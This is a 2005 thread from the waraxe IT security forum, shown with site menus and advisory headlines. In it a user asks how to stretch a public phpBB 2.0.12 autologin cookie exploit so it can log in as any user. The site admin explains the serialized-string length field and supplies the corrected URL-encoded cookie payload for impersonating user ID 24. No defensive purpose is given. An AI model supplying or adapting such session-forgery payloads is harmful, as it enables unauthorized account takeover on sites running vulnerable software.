Waraxe IT Security Portal
Login or Register
April 28, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 71
Members: 0
Total: 71
Full disclosure
[IWCC 2025] CfP: 14th International Workshop on Cyber Crime -Ghent, Belgium, Aug 11-14, 2025
Inedo ProGet Insecure Reflection and CSRF Vulnerabilities
Ruby on Rails Cross-Site Request Forgery
Microsoft ".library-ms" File / NTLM Information Disclosure (Resurrected 2025)
HNS-2025-10 - HN Security Advisory - Local privilege escalation in Zyxel uOS
APPLE-SA-04-16-2025-4 visionOS 2.4.1
APPLE-SA-04-16-2025-3 tvOS 18.4.1
APPLE-SA-04-16-2025-2 macOS Sequoia 15.4.1
APPLE-SA-04-16-2025-1 iOS 18.4.1 and iPadOS 18.4.1
Business Logic Flaw: Price Manipulation - AlegroCartv1.2.9
Stored XSS in "Message" Functionality - AlegroCartv1.2.9
XSS via SVG Image Upload - AlegroCartv1.2.9
BBOT 2.1.0 - Local Privilege Escalation via Malicious ModuleExecution
83 vulnerabilities in Vasion Print / PrinterLogic
[CVE-2025-32102, CVE-2025-32103] SSRF and Directory Traversal in CrushFTP 10.7.1 and 11.1.0 (as well as legacy 9.x)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpbb 2.0.12 cookies - question
Post new topicReply to topic View previous topic :: View next topic
phpbb 2.0.12 cookies - question
PostPosted: Wed Aug 10, 2005 9:29 am Reply with quote
Sta1ker
Beginner
Beginner
Joined: Aug 10, 2005
Posts: 1




Hey,

I was just having fun with "cookie exploit" in phpbb 2.0.12 (http://www.milw0rm.com/id.php?id=871). This exploit works fine, but I cannot login as any user but only as users with userid's from 2 to 9. What do I have to switch in this cookie to login as any user? Encoded looks like this:

a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

Coded like this:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%
3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

If I switch
Quote:
%222%22%
to
Quote:
%224%22%
I will login as user with id '4'. But if I switch
Quote:
%222%22%
to
Quote:
%2224%22%
I wont login as user id 24... any ideas?
View user's profile Send private message
PostPosted: Wed Aug 10, 2005 9:44 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If you urldecode this:

Code:

s%3A1%3A%222%22%3B%7D


then you will see, that string with length 1 char is defined:

Code:

s:1:"2";}


Now, if you want userID "24", then this will be 2 chars long, so you must use:

Code:

s:2:"24";}


and as urlencoded it will look like:

Code:

s%3A2%3A%2224%22%3B%7D


I hope that this will help you Smile
View user's profile Send private message Send e-mail Visit poster's website
phpbb 2.0.12 cookies - question
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.099 Seconds